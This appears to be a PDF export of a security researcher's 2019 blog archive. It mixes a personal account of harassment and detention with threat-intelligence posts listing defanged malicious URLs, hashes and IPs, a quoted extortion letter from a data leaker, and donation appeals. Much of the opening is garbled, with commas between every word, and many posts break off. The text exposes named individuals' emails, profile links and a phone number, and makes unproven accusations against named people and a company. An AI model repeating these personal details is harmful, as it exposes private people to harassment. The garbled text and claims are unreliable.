UPDATE: Prior, to, my, attendance, in, a, local, institution (**dpblovech@abv.bg**), Ivailo,

Dochkov (**hxxp://www.facebook.com/ivodivo**), tried, to, meet, me.

6100

UPDATE: Prior, to, my, attendance, at, this, particular, apartment, I, was, invited, by, Briana

Papa (**Briana@crenshawcomm.com**), to, visit, Prague, on, behalf, of, Avast! Software, where, I,

met, with, Vince Steckler (**steckler@avast.com**), and, Miloslav, Korenko **(korenko@avast.com**),

where, I, met, with, Lucian Constantin (**hxxp://twitter.com/lconstantin**).

Prior, to, my, attendance, at, this, apartment, I, was, also, invited, to, another, event, held, at,

INTERPOL, by, Steve Santorelli

(**steve.santorelli@gmail.com**), which, I, successfully, attended, and, presented, at, where, I,

also, met, with, Krassimir Tzvetanov (**krassi@krassi.biz**).

Something, else, worth, pointing, out, is, that, my, place, is, visited, by, an, unknown,

woman, known, as, Boriana Mihovska, an, unknown, man, known, as, Leonid, an, un-

known, person, known, as, Tzvetan Georgiev (**hxxp://www.youtube.com/user/laron640;**

tzvetan.leonid@gmail.com);

(**hxxp://plus.google.com/107108766077365473231**), and, an,

unknown, person, known, as, Dobrin Danchev (**hxxp://www.facebook.com/dobrin.danchev**);

(**hxxp://www.sibir.bg/parachut**), and, another, unknown, person, known, as, Ina, Dancheva

(**http://otkrovenia.com/bg/profile/innadancheva**).

6101

The, most, recent, visit, to, my, place, was, by, a, person, known, as, Vasil, Stanev, from DANS

(**dans@dans.bg**), who, was, supposedly, asking, me, to, take, a, job, and, consequently, asked,

me, to, attend, a, doctor, session.

Dear, blog, readers, I, feel, it's, about, time, I, post, an, honest, response, regarding, my,

[152]disappearance, in, [153]2010, with, the, [154]purpose, of, [155]information, my,

[156]readers, on, my, [157]current, situation, and, [158]to, continue, [159]posting, and,

contributing, valuable, threat, intelligence, to, the, security, community.

In, 2010, I, moved, to, an, apartment, located, in, another, town, and, apparently, my,

apartment, have, been, vandalized, including, persistent, harassment, by, my, neighbors,

including, a, possible, illegal, entry, courtesy, of, the, person, responsible, for, hiring, the,

apartment (Kalin Petrov; **kalin _petrov@hotmail.com**).

After, a, persistent, chase, down, and, harassment, courtesy, of, the, person, responsible, for,

hiring, the, apartment, I, received, a, notice, to, leave, and, had, my, apartment, visited, by,

the, person, responsible, for, hiring, including, another, man, including, another, man, that,

was, supposedly, supposed, to, take, care, of, my, belongings.

Prior,

to,

my,

accommodation,

I,

was,

contacted,

by,

Pauline,

Roberts

(**pauline.roberts@ic.fbi.gov**),

who,

recommended,

me,

to,

Yavor,

Kolev

(**ja-**

vor.kolev@gmail.com), and, Albena, Spasova (**albaadvisors@gmail.com**), from, Bulgarian,

local, authorities, followed, by, a, series, of, communication.

6102

Prior, to, returning, to, my, place, in, 2011, my, house, was, vandalized, by, three, police, offi-

cers (**hxxp://troyan-police.com**; **police _troyan@abv.bg**), from, the, local, police, department,

who, entered, my, house, in, particular, my, bedroom, and, unpolitely, asked, my, to, dress,

while, showing, me, a, copy, of, my, personal, ID, that, I, haven't, presented, and, taking, me,

to, an, unknown, car, without, explaining, the, reason, for, taking, me.

Hi. I'm currently serving as the FBI's Deputy Attache in Sofia. We are in the process of providing a malware analytical tool to Bulgarian computer forensic examiners, providing a speaker at an upcoming security conference in Sofia, and other projects. We work closely with Ivaor Kolev at the Interior Ministry, who you may already know. With an aim toward exploring possibilities for establishing expert links for addressing cybercrime/security issues in the Balkans, I'm writing to ask whether you are you are based in Bulgaria or you are elsewhere in the world?

Best regards,
Pauline Roberts

Sample Email communication between me, Pauline Roberts, Javor Kolev and Albena

Spasova circa 2010:

Original message sent by Pauline Roberts - 2010

6107

Dancho,

I met recently with Albena Spasova, Executive Director of the International Cyber Investigation Training Academy based in Sofia. They are launching a series of trainings in Bulgaria this year.

I mentioned to her that you are someone with expertise, and she asked for your contact information. I am cc'g both Albena and Javor Kolev on this email, so that you and they can make direct contact.

Best regards,
Pauline

Dear Pauline,

Thank you very much for introducing us to Mr. Danchev.

Dear Mr. Danchev,

I would very much welcome the opportunity of organizing a meeting and introducing each other. I am not sure if you are based in Bulgaria or planning a trip in the recent future we can connect on Skype. My ID is albenaspasova with a base in Belgium.

Looking forward hearing from you,

Kind regards,

Albena

Second email received from Pauline Roberts - 2010

Original message received by Albena Spasova - 2010

6108

Zdraweite Albena, Javor,

Nadqvam se nqmate nishto protiv da govorq na ti, vupreki che ne se poznavame lichno, nadqvam se tova skoro da se promeni. Purvo, izvinqvam se za zakusnenieto s otgovora, po dobre kusno otkolkoto nikoga. Poglednah syllabus-a na Academiqta i ne che sum imal predrasuduci, no bqh priqtno iznenadan ot temite koito se discutirat i nai-veche ot poziciite na horata koito sa gi pravili. In short - opredeleno ima s kakvo da contribute kato temi i expertise.

Shte se opitam da obqsnq po-tochno v kakvi areas imam opit over email.

- Security awareness perspective/presenting etc.
Povecheto prezentacii koito pravq sa na invite-only conferences, trusted set of folks, za da se poluchi maximalen efect v sravnenie s masovi conferencii za publichnost, tui kato ne sum ot tipa hora koito "rushat iztochnici na informaciq" za publichnost etc. attachvam edna prezentaciq koqto sum pravil s Honeynet Project-a http://www.honeynet.org , za da dobiete nqkakva predstava. Pretendiram che imam mnogo dobri presenting skills, v smisul che moga da obqsnqvam ednakvo na technical i ne chak tolkova technical audience.

Tova e portfolio of 350+ statii/research koito sa za mass audience: http://www.zdnet.com/topics/dancho+danchev

A tova e edin "best practice" type of paper koito go pisal 2003 godina: http://www.windowsecurity.com/pages/security-policy.pdf

- Operational level expertise
Obshto vzeto tova e osnovno koeto pravq, bez speculacii za trends ili fads, a real data za opredelini grupi, schemi, i ataki. Mnogo dobre sum networked v smisul, private mailing lists sus personal contacts within the industry, vuzmojnost za dostup do malware samples, ili info za opredelena ataka ot perspectivata na vsitski big vendors koeto spodelqt info s ideqta da zashtitqt vuzmojno nai-golqm broi clienti, contacti sus key persons vuv vajni ISP-ta i CERT-ove za da moje da se reagira momentalno pri opredel tip ataka v dadenata strana etc.

Original response issued to Pauline Roberts, Javor Kolev, and Albena Spasova - 2010

6109

Publikuvam maluk % ot vsitskiq profiling koito pravq na bloga si, i shte se radvam ako pri purva vuzmojnost pregledate stari prouchvaniq po opredeleni temi, povecheto za incident response articles, za da dobiete predstava, drugite sa kato on demand reports i ne se publikuvat publichno:
- http://ddanchev.blogspot.com/

Adnal sum Albena v Skype, she accepted.. 🙂 V momenta sum v BG, Sofia, telefona mi e 0888 996 888 - durja da otbeleja che si poluchih nomera sluchaino predi 10 godini.

Nadqvam se skoro da si organizirame sreshta, i da vidim face to face. Vupreki che vinagi sum rabotil s mejdunarodni clients/organizacii, kraino vreme e da contribute za CERT Bulgaria, i opredeleno shte sum polezen asset!

Ochakvam info kak precenqvate che e nai-dobre da procedirame.

S uvajenie,
Dancho

P.S
BG e malka strana, purvata stranica koqto teenagerite ot ISP-to narochno otvoriha beshe Arena-BG...i taka...:-)

Original response issued to Javor Kolev - 2010

6114

Zdrasti Yavore,

Jalko che ne uspehme da se vidim dnes, tui kato vupreki che mi se iskashe da govorim za dosta po profesionalni temi, kato che li az ti uvajavam rabotata poveche otkolkoto ti moqta, i nqma kak da ti namekna za nqkoi points koito me bezpokoqt i vuprosi koito iskah da te pitam. Az go davam profesionalno i straight to the point, nadqvam se i ti i vednuj zavinagi da si produljim po profesionalniq si put i eventualno nqkoi den, ako se naloji da se poluchi neshto productivno ot facta che se imame kato kontakti.

Vuprosi:
- Koga shte moga da si vzema dush na spokoistvie, i kak shte stane tova? 🙂
- Centralna Cooperativna Banka tvurdi (do rabotodatelq mi) che ne "moje da svurje imeto mi sus smetkata" za poluchavane na plashtane ot rabotodatelq mi CBS Interactive, chast ot CBS Corporation, za PRUV put za poslednite 2 godini i polovina. Shte probvam sus trite si imena - DANCHO [redacted] DANCHEV, shte se poluchi li tozi put?

Points:
- Az neznam dali vuobshte poglejdash research-a koito ti prashtam (2 presentations so far, sus permission), no sled tezi "projectori" imam problemi sus sigurnostta si, v smisul takuv poslednoto neshto ot koeto imam nujda e NEDOVERIE za socialno-orientiranata mi rabota na mejdunarodno nivo, koqto nqma nishto obshto sus neshtata koito se sluchvat v rodinata mi - BULGARIA, a ako eventualno nqkoga ima TI si the point of contact for anything BG related!

Priqten weekend, i shte se radvam na otgovorite ti, ili v nai-dobriq sluchai nqkakvo razvitie v pravilnata (pone spored men) posoka.

S uvajenie,

Original response issued by Javor Kolev - 2010 - Part Six

6117

A, few, hours, later, I, find, myself, located, in, an, institution (**dpblovech@abv.bg**), for, a,

period, of, three, months, without, anyone, explaining, the, reason, for, holding, me, there.

Upon, entering, I, had, my, phone, taken, without, having, received, any, sort, of, expla-

nation, for, taking, me, and, holding, me, there.

UPDATE: My most recent visit to local police department was to announce a possible

food-poisoning and I was told not to live in my place.

Given, this, circumstances, I, feel, that, it, has, become, highly, unproductive, to, con-

tinue, my, work, and, therefore, I'm, currently, seeking, a, permanent, relocation, including,

a, possible, full, time, career, opportunity, in, the, field, of, cybercrime, research, security,

blogger, or, threat, intelligence, analyst.

6118

In case you're aware of someone looking to hire full-time threat intelligence analyst cybercrime

researcher or a security blogger feel free to approach me at dancho.danchev@hush.com

15.4.2 Introducing Unit-123.org - Cyber Threat Intelligence Portal (2019-04-12 21:41)

6122

Dear blog readers, I wanted to take the time and effort and introduce you to my latest project

called [1]Unit-123.org where you can find quality research articles in a variety of topics that I

will be publishing on a daily basis with the idea to bring back the spirit of my editorial years

and to continue spreading quality data information and knowledge to a loyal base of users

and readers.

Feel free to reach me at dancho.danchev@hush.com

Stay tuned!

15.5.1 Upcoming Personal Hacking Memoir - Soliciting Feedback and Research Ques-

tion (2019-05-04 04:43)

15.5.2 Exposing Yet Another Currently Active Fraudulent and Malicious Pro-Hamas

Online Infrastructure (2019-05-04 19:45)

Love them or hate them - the ubiquitous beautiful girl utilizing fake bogus and rogue Facebook

accounts scam campaign courtesy of Hamas targeting Israeli soldiers has to come to an end.

In this post I'll provide actionable intelligence on a currently active Pro-Hamas malicious

and fraudulent infrastructure and will discuss in-depth the tactics techniques and procedures

of the cybercriminals behind it and will offer in-depth perspective on a currently active

Pro-Hamas hosting provider - " *[1]Nepras for Media & IT*" which is basically a legitimate

front-end company currently involved in a variety of Pro-Hamas malicious and fraudulent

malware-serving and propaganda spreading online infrastructure provider directly related to

yet another Pro-Hamas franchise - " *Modern Tech Corp*".

Sample Facebook Profile Names involved in the campaign:

Elianna Amer

Aitai Yosef

Karen Cohen

Amit Cohen

Loren Ailan

Verena Sonner

Lina Kramer

Sample profile photos of Pro-Hamas fake and rogue Facebook accounts:

15.5.3 Historical OSINT - Profiling the Loads.cc Enterprise (2019-05-04 22:27)

Remember **[1] loads.cc**? In this post I'll provide actionable intelligence on the popular DDoS

for hire service circa 2008 and offer in-depth perspective on the tactics utilized by the gang

behind the service for the purpose of earning fraudulent revenue in the process of monetizing

access to malware-infected hosts.

Sample malicious and fraudulent infrastructure known to have participated in the cam-

paign:

hxxp://loads.cc - hxxp://ns1.udnska.cn (72.21.52.99), interestingly, hxxp://sateliting.cn is

the C &C for hxxp://loads.cc service.

15.5.4 Historical OSINT - Massive Scareware Serving Campaign Spotted in the Wild

(2019-05-04 22:41)

With scareware continuing to proliferate I've recently intercepted a currently active mali-

cious and fraudulent blackhat SEO campaign successfully enticing thousands of users into

interacting with the rogue and malicious software with the scareware behind the campaign

successfully modifying the HOSTS on the affected host potentially exposing the user to a

variety of fake search engines type of rogue and fraudulent and malicious activity.

In this post I'll provide actionable intelligence on the infrastructure behind the campaign.

Sample malicious URL known to have participated in the campaign:

hxxp://guardsys-zone.com/?p = WKmimHVmaWyHjsbIo22EeXZe0KCf-

ZlbVoKDb2YmHWJjOxaCbk

X1

%2Bal6orKWekJXIZWhimmVummWIo6THodjXoGJdpq-

mikpVuZ21uaHFtb1 %2FEkKE %3D

Sample malicious MD5 known to have participated in the campaign:

MD5: 665480a64d4f72a33120251c968e9c28

Once executed the sample modifies the HOSTS and redirects them to the following do-

mains:

hxxp://google-reseach.com/gfeed/click.php?q = &p = 1 - 66.36.243.201

hxxp://google-reseach.com/search.php? &aff = 32210 &saff = 0 &q =

Related malicious rogue and fraudulent URL known to have participated in the cam-

paign:

hxxp://88.85.73.139/landing/

Sample rogue and fraudulent payment processed used in the campaign:

hxxp://safetyself.com/safereports/ - 88.85.73.139

15.5.5 Astalavista Security Group 2.0 - The Underground - Official Launch Announce-

ment (2019-05-05 13:21)

Dear blog readers, I wanted to let you know that I've recently launched a currently **[1] active**

Indiegogo crowd-funding campaign regarding my favorite working place throughout the 90's -

Astalavista Security Group and I wanted to find out whether you might be interested in spread-

ing the word regarding the campaign including a possible donation.

6170

Consider going through the following already published Updates and making a donation:

01. [2] New Update - Official Campaign Announcement

02. [3] New Update - Official Astalavista 2.0 - Press Release Launch

03. [4] New Update - Official Astalavista 2.0 - Statement of Work

04. [5] New Update - Official Astalavista 2.0 - The Big Idea

05. [6] New Update - Official Astalavista 2.0 - The Fanciful Story

Feel free to reach me at dancho.danchev@hush.com

15.5.6 Historical OSINT - Yet Another Massive Scareware Serving Campaign Cour-

tesy of the Koobface Gang (2019-05-05 16:47)

It's 2010 and I've recently intercepted a currently circulating malicious and fraudulent

scareware-serving campaign courtesy of the Koobface Gang this time successfully typosquat-

ting my name within its command and control infrastructure.

In this post I'll provide actionable intelligence behind the campaign and will discuss in-

depth the infrastructure behind it.

Sample malicious and fraudulent domains known to have participated in the campaign:

hxxp://qjcleaner.eu/hitin.php?affid=02979

Sample malicious MD5 known to have participated in the campaign:

6171

MD5: 8df3e9c50bb4756f4434a9b7d6c23c8c

Once executed a sample malware phones back to:

hxxp://212.117.160.18/install.php?id=02979

which is basical ly our dear friends at AS44042 ROOT-AS root eSolutions

Parked at the same IP where **[1] Crusade Affiliates** continue serving a diverse set of fake

security software are also **[2] more scareware domains**.

It's also worth pointing out that the Koobface gang has recently started typosquatting various

domains using my name. Koobface gang is **[3] typosquatting my name for registering domains**

(**[4] for instance** Rancho Ranchev; Pancho Panchev etc.) including hxxp://mayernews.com -

which is registered to Danchev Danch (1andruh.a1@gmail.com).

1. https://ddanchev.blogspot.com/2009/09/koobface-botnets-scareware-business.html

4. https://ddanchev.blogspot.com/2009/11/koobface-botnets-scareware-business.html

15.5.7 Historical OSINT - Yet Another Massive Scareware-Serving Campaign Cour-

tesy of the Koobface Gang (2019-05-05 17:19)

It's 2010 and I've recently came across to yet another currently active scareware-serving cam-

paign courtesy of the Koobface gang this time successfully introducing a CAPTCHA-breaking

module potentially improving the propagation and distribution scale within major social

networks.

In this post I'll discuss the campaign and provide actionable intelligence on the infras-

tructure behind it.

Related malicious domains known to have participated in the campaign:

Pay-Per-Install Cybercrime Business Model - Threat Intelligence Report

*Full Name

*Email

NOTE: You'll receive a copy of this complimentary report worth $1,500 approximately 30 days prior to making a purchase.

Order $1500.00

15.5.11 Proprietary Threat Intelligence Reports Available On Demand - Request a

Copy Today! (2019-05-28 20:46)

Dear blog readers - I wanted to let everyone know of two – currently in the works – proprietary

Threat Intelligence type of reports - that you and your organization can easily acquire on

demand. The first report details in-depth including tactics techniques and procedures including

hundreds of IOCs (Indicators of Compromise) in terms of the Pay-Per-Install Business Model

circa 2008 - worth $1,500 and the second report which is also available on demand details the

inner workings of the CAPTCHA-Solving Underground Market Business Model - which is also

worth $1,500.

Similar my most recently – now publicly available – report on "
[1] Assessing The Computer

Network Operation (CNO) Capabilities of the Islamic Republic of Iran - Report" capabilities

including a complimentary social network graph - the proprietary Threat Intelligence reports

can be requested online - and the user including the organization will receive a complimentary

copy of the report - including a possible attribution vector - within 30 days prior to making a

purchase.

How you can order a copy of the report?

6177

Feel free to approach me at dancho.danchev@hush.com to inquire about making a pur-

chase.

Stay tuned!

1. https://ddanchev.blogspot.com/2015/07/assessing-computer-network-operation_29.html

6178

Proprietary Cybercrime Underground Forum Search Engine - Research Grant and BETA Access Available

*Full Name

*Email

NOTE: The proprietary invite-only Search Engine is 100% ready and working. Make a one-time $3,500 payment and I'll reach out for the necessary access prior to receiving the payment - within 30 days. Recurring payments - in the form of subscription-based agreement will guarantee unlimited access - and high-quality inventory.

Order $3500.00

15.5.12 Proprietary Cybercrime and Dark Web Forum Search Engine - BETA Access

Available! (2019-05-28 20:48)

Dear blog readers - I wanted to let everyone know of a currently active BETA project - namely -

the general invite-only proprietary access to a Cybercrime and Dark Web Underground Forum

Search Engine - exclusively targeting Security Vendors the U.S Intelligence Community and

Law Enforcement including independent-vetted invite-only subscription-based access to the

World's largest and near-real-time repository of Cybercrime Research Data - worth $3,500

in the form of one-time payment - for the purpose of fueling growth into the project - and

to request the necessary access - including possible subscription-based agreement - further

fueling growth into the project and the quality of the inventory of data.

How to request access?

6179

DISQUS

Feel free to approach me at dancho.danchev@hush.com with your inquiry in terms of

this project.

Stay tuned!

15.5.13 Dancho Danchev's Blog - Public Comments Now Open! (2019-05-29 08:38)

Dear blog readers,

Ever since 2005 where I originally launched this blog - I decided to turn off public com-

ments so that I can present a decent portion of my Information Security knowledge to a

diverse set of audiences. Back in the glorious Web 2.0 years when I was busy doing business

development and PR outreach for a variety of Security Projects I've recently decided that

the time has come to open public comments on one of the Security Industry's most popular

personal blogs on Information Security Cybercrime Research and Threat Intelligence with the

idea to reach out to everyone reading this blog potentially building a high-quality comment

and research feedback network of Security Industry members U.S Intelligence Community

members and the general public.

Looking forward to receiving your comments - and as always feel free to go through the

archives to catch up with what I've been up to.

Stay tuned!

6180

15.5.14 Dancho Danchev's Blog - Public Search Now Open! (2019-05-29 08:39)

15.5.15 Dancho Danchev's Blog - Audio Version Available - Listen to Every Post!

(2019-05-30 16:15)

Dear blog readers,

I wanted to let everyone know that I've recently introduced an audio-listening functional-

ity to every blog post basically allowing you to listen to every blog post on this blog. What do

you think?

Basically it allows you to easily plug and play your head-set and listen on current histori-

cal and upcoming posts. Stay tuned for an updated set of features to be implemented anytime

soon.

Consider going through the following high-profile Security Interviews which I managed

to produce throughout 2003-2006 while working for **[1] Astalavista Security Group**.

- **[2] Security Interviews 2004/2005 - Part 1**

- **[3] Security Interviews 2004/2005 - Part 2**

- **[4] Security Interviews 2004/2005 - Part 3**

including the following commentary and Open Letter to the U.S Intelligence Community:

- **[5] The Threat Intelligence Market Segment - A Complete Mockery and IP Theft Com-**

promise - An Open Letter to the U.S Intelligence Community

Enjoy and stay tuned!

15.5.16 Upcoming

Security

Project

-

Accepting

Donations

and

Feedback!

(2019-05-30 17:11)

6182

Dear Blog Reader,

It's been several years since I last posted a quality update - and I decided that the time has come to raise the stakes a little higher by attempting to raise the necessary funds necessary to launch a proprietary and invite-only World's Leading Information Security Portal - with the help of my blog readers who've been following my research and experience in fighting cybercrime throughout the past 10 years. How you can help? Consider making an introduction and donating a mere $500 for the purpose of further fueling growth into the upcoming Security Project - that I've been recently spending most of my time working on. What I can promise? I will personally reach out to everyone who's been following my blog throughout the years - and make a personal introduction - further introducing the Security Project - that I've been working on - and to further explain the current status of the project including a detailed explanation as to where the money goes for including the necessary "pitch-based" PPT presentation and the long-term and short-term plan for the purpose of this Security Project.

As I consider you a trusted member of the Security Industry the U.S Intelligence Community and the general public including a valued blog reader throughout the past decade - I will be definitely looking forward to receiving the necessary introduction on your behalf - including a modest $500 donation to keep the Security Project - that I've been busy working on going.

What do I have in mind? Throughout the past decade malicious and fraudulent actors including nation-state actors continued to proliferate successfully causing millions in damages potentially exposing millions of users to basic Secuity Threats. The main purpose of this Security Project will be to launch manage and operate the World's Largest and Most Popular Information Security Portal including the general availability of proprietary invite-only community-based and commercial Security Products and Services successfully serving the needs of millions of users globally.

Are you satisified with my research? Do you like what you're seeing? Shall we raise the stakes a little higher? Consider making a modest $500 donation today - and I'll reach back to you within a couple of hours prior to receiving it for the purpose of making a personal introduction and to introduce the Security Project including to present the necessary PPT for the purpose of raising the necessary amount to get the project going.

Dear blog readers I wanted to let everyone know that I’ve recently added a "Donate Today!"

button including a Pop-Up banner within my blog with the idea to **[1] seek you donations and**

feedback to raise the necessary capital for an upcoming Security

Project.

How you can contribute in case you're a long-time reader of this blog - and want to pos-

sibly see more high-quality Security and Cybercrime research? Consider making a modest

$500 donation - which will better help me to scale the project and eventually launch it.

Feel free to approach me at dancho.danchev@hush.com

6183

15.6.2 Exposing Bulgaria's Largest Data Leak - An OSINT Analysis (2019-07-27 10:46)

6184

I've recently came across to a news article detailing the recently leaked Bulgaria NAP records

database and I decided to take a closer look.

What does this leak basically constitute?

Basically the attacker managed to compromise the security of the Web Site basically leading

to a successful extraction of a decent-portion of data which could basically constitute a leak.

NOTE: The data in this analysis has been obtained using public sources.

6185

In this post I'll profile a novice Bulgaria-based cybercriminal that basically managed to

obtain access to the database and shared it within several cybercrime-friendly forum com-

munities making it publicly accessible including an in-depth overview of TAD Group which is

basically a Bulgaria-based penetration testing company.

6186

Sample Screenshot of the Original Letter Send to Journalists:

6187

Hello and thank you for making awareness of the happening. I will send this email only for BTV, NovaTV and Capital because I saw real journalism only from your media.

Yesterday one journalist from NovaTV replied to the minfin_leak@yandex.ru email and asked 3 questions... I will be happy to give you more information regarding the breach so that your corrupted government won't lie to your readers.

1. The data leak is happening for 11 years. If you corrupted government disclose the vulnerable system you can see this information from the Web Archive (Internet Wayback Machine). This has been hacked before in 2012 but back then no one even understood that we managed to infiltrate over 30GB of information.

2. I'm a russian citizen with a bulgarian wife. Her parents are currently living in Bulgaria and I saw with my eyes how fucked up your country is.

3. The data is currently being investigated as far as I understood, but the real questions are not being asked? That's why I gave you the original dump of the databases, sent to 56 media websites in your country but as far as I see only Capital is doing some real digging into the information? Why?

4. Your stupid law enforcement won't find shit... They will just cover the real truth. :)

5. If they don't tell the truth I will personally upload the 21GB dump in russian and bulgarian torrent trackers so that everyone will be able to download the information freely.

6. If any of the contacted media happen to give false information about what's happening I will publicly disclose 2 different dumps from your government which are once again from Ministry of Finances. I also have access to 3GB database dump from BTV Media Group and from 2 more media companies which were from the list of contacted media.

Let the corrupted games begin. :)

Let’s take a closer look at the Bulgaria-based TAD-Group is basically a well-known pene-

tration testing company currently running Bulgaria’s largest and most popular hacking forum

community - **hxxp://www.xakep.bg** which was recently blamed for Bulgaria’s largest database

leak in particular its founders and several employees in the context of performing an OSINT

analysis basically highlighting some of the key functions of the company and its involvement

in the incident.

15.6.3 Who's Behind the Syrian Electronic Army?

- An OSINT Analysis

(2019-07-28 18:19)

Continuing the " **[1] FBI Most Wanted Cybercriminals**" series I've decided to continue providing

actionable threat intelligence on some of the most prolific and wanted cybercriminals in the

World through the distribution and dissemination of actionable intelligence regarding some of

6204

the most prolific and wanted cybercriminals.

Following a series of high-profile Web site defacement and social media attack campaigns

largely relying on the utilization of good-old-fashioned social engineering attack campaigns -

it appears that the individuals behind the Syrian Electronic Army are

now part of **[2] FBI's Most**

Wanted Cyber Watch List which means that I've decided to conduct an **[3] OSINT analysis**

further sharing actionable intelligence behind the group operators with the idea to assist law

enforcement and the U.S Intelligence Community with the necessary data which could lead to

a successful tracking down and prosecution of the team behind these campaigns.

In this post I'll provide actionable intelligence on the group behind the Syrian Electronic

Army including actionable intelligence on the infrastructure on some of their most prolific

social engineering driven campaigns.

15.6.4 Profiling a Currently Active Portfolio of High-Profile Cybercriminal Jabber and

XMPP Accounts (2019-07-29 17:05)

6218

In a world dominated by **[1] fraudulent propositions** it should be noted that Jabber and XMPP

remain the primary secure communication channel for a large portion of cybercrime-friendly

propositions that I come across to on a daily basis largely relying on **[2] Off-The-Record** type of

functionality.

I've recently came across to a public list of harvested and data-mined high-profile cyber-

criminal's Jabber accounts and I've decided to share it with my blog readers for the purpose

of establishing the foundations for a successful " **[3] lawful surveillance**" and " **[4] lawful inter-**

ception" type of operational activity.

15.6.5 Exposing Evgeniy Mikhaylovich Bogachev and the "Jabber ZeuS" Gang - An

OSINT Analysis (2019-07-29 17:18)

Continuing the " **[1] FBI Most Wanted Cybercriminals**" series I've decided to take a closer look

at the "Jabber ZeuS" including **[2] Evgeniy Mikhaylovich Bogachev** for the purpose of providing

actionable intelligence on the fraudulent and malicious infrastructure that was utilized in the

campaign including personally identifiable information of the individuals behind it with the

idea to assist law enforcement and the U.S Intelligence community with the necessary data to

track down and prosecute the individuals behind the campaign.

In this post I'll provide actionable intelligence on the infrastructure used by the "Jabber

ZeuS" gang including personally identifiable information for Evgeniy Mikhaylovich Bogachev

and some of his known associates.

Sample Personal Photos of Evgeniy Mikhaylovich Bogachev:

15.6.6 Summarizing 4 Years of ZDNet Zero Day Posts Research

(2019-07-29 18:28)

6938

It's been quite some time since I last posted a quality blog post regarding my ex-employer

CBS Interactive's ZDNet where I used to work as a Security Blogger for ZDNet's Zero Day

throughout 2008-2013 and I wanted to take the time and effort to say thanks to my Editor-

in-Chief including Editorial Director - Larry Dignan and David Grober who provided editorial

guidance including the publishing of the **[1] original post** regarding my **[2] disappearance circa**

2010 including the search for me.

In this post I'll summarize my blogging activity at ZDNet's Zero Day blog throughout

2008-2013 providing my readers with the necessary data information

and knowledge to stay

ahead of current and emerging threats.

ZDNet Zero Day Blog Posts - May, 2008

15.7.1 Assessing the Recently Leaked FSB Contractor Data - A Peek Inside Russia’s

Understanding of Social Network Analysis and Tailored Access Operations

(2019-08-02 15:20)

I’ve recently managed to obtain a copy of the recently leaked FSB contractor data courtesy of

0v1ru $ and "Digital Revolution" and I’ve decided to take a closer look including an in-depth

overview and discussion of the leaked data in the context of today’s modern-driven AI-powered

automated OSINT technologies in the broader context of the U.S Intelligence Community in

particular the utilization of rogue TOR exit nodes for the purpose of intercepting and har-

vesting TOR exit node data within the Russian Federation including social-network analysis

data-mining and possible "lawful surveillance" and "lawful interception" including possible

data collection type of Tailored Access Operation campaigns launched by " **0day Technologies**"

and " **SyTech**".

Approach me at dancho.danchev@hush.com

15.8.2 Historical OSINT - The Russian Business Network Says "Hi" (2019-09-09 15:27)

6958

You know you're popular when "they" say "hi".

It's 2009 and I've received a surprising personal email courtesy of guess who - The Rus-

sian Business Network showing off the actual ownership of the hxxp://rbnnetwork.com domain

and basically saying "hi". It's worth pointing out that throughout 2008-2013 I've extensively

profiled the activities including the customer activities of some of the most prolific customers

and members of the infamous Russian Business Network also known as the RBN in the context

of **[1] blackhat SEO** **[2] iFrame** and **[3] input validation** abuse across major **[4] Web properties**

including **[5] malvertising** and various other **[6] malware-serving** and **[7] client-side exploits**

serving campaigns including **[8] money mule recruitment** and **[9] phishing campaigns** the

ubiquitous at the time **[10] fake security software also known as scareware** in a variety of post

series.

• Related post - **[11] Dissecting a Sample Russian Business Network (RBN) Con-**

tract/Agreement Through the Prism of RBN's AbdAllah Franchise

It's been a decade since I last profiled the most prolific and sophisticated market-leading

6959

bullet-proof hosting cybercrime enterprise - the Russian Business network which at the time

was dominating the majority of campaigns that I was busy profiling with the help of fellow

researchers to whom I owe a big deal of thanks for approaching me circa 2008-2013 namely

[12] Jart Armin and **[13] James McQuaid** with whom I've been directly or indirectly keeping

in touch throughout 2008-2013 for the purpose of offering quality research on the activities

of the Russian Business Network including their customers and fraudulent and malicious

campaigns.

15.8.3 Join Me on Patreon Community! (2019-09-09 18:07)

6962

Dear blog readers,

I decided to let everyone know that I've recently launched my own **[1] Patreon Commu-**

nity Page with the idea to let everyone know that I'm currently busy crowd-funding a

high-profile upcoming Cyber Security Investment Project - and I would love to hear from you

more details about your thoughts regarding new Tier Features and whether or not you could

make a possible long-term type of financial donation or sponsorship regarding my research

and my security expertise.

The current status of the project:

- I'm currently busy soliciting additional input from colleagues regarding upcoming Tier

Features

- I'm currently busy reaching out to colleagues to possibly convert them to Patreon Sponsors

- I'm currently busy working on a high-profile Security Podcast

- I'm currently busy working on a high-profile Security Newsletter

Has my research helped you or your organization in the past? Have you been a long-time blog

reader? Have you learned something new? Did my active cybercrime and nation-state actor

6963

profiling helped you excel in your career path? Are you happy with what you're seeing? Dare

to take a moment and refer a colleague or an organization my personal blog including my

[2] Patreon Community Page including a possible Patreon Sponsor request confirmation?

Looking forward to hearing from you at - dancho.danchev@hush.com

Enjoy!

15.8.4 Who's th3j35t3r? - An OSINT Analysis (2019-09-10 17:07)

15.8.5 Fake NordVPN Web Site Drops Banking Malware Spotted in the Wild

(2019-09-11 16:53)

I've recently came across to a rogue NordVPN web site distributing malicious software po-

tentially exposing NordVPN users to a multi-tude of malicious software further compromising

the confidentiality availability and integrity of the targeted host to a multi-tude of malicious

software.

6964

In this post, I'll provide actionable intelligence on the infrastructure behind the campaign and

discuss in-depth the tactics techniques and procedures of the cybercriminals behind it.

Sample malicious URL known to have participated in the campaign:

hxxp://nord-vpn.club - 192.64.119.159; 2.56.215.159

Sample malicious MD5s known to have participated in the campaign:

15.8.6 Historical OSINT - Georgian Justice Department and Georgia Ministry of

Defense Compromised Serving Malware Courtesy of the Kneber Botnet

(2019-09-11 19:07)

6965

It's 2010 and I've recently came across to a compromised Georgian Government Ministry

of Defense and Ministry of Justice official Web site spreading potentially participating in a

wide-spread phishing and malware-serving campaign enticing users into interacting with the

rogue U.S Intelligence and U.S Law Enforcement themed emails for

the purpose of spreading

and dropping malicious software on the targeted host's PC.

Sample malicious URL known to have participated in the campaign abusing common Web Site

redirection application vulnerability flaw:

hxxp://www.mod.gov.ge/2007/video/movie.php?l=G &v= %20 %3E %20a %20href %20http

15.8.7 I'm Back! (2019-09-17 09:56)

6977

Dear blog readers - it's been a while since I've last posted a quality update following my

[1]**disappearance and possible kidnapping attempt circa 2010** but as many of you have

noticed I've recently published a variety of research and CYBERINT type of articles in a

variety of areas which means that I'll be shortly returning to the usual

blogging rhythm

successfully publishing a quality set of research articles anytime soon. I’ve also wanted to let

you know that I’ve recently launched an extremely popular News Portal called [2]**Unit-123**

offering practical advice to the U.S Intelligence Community including Cyber Warriors and

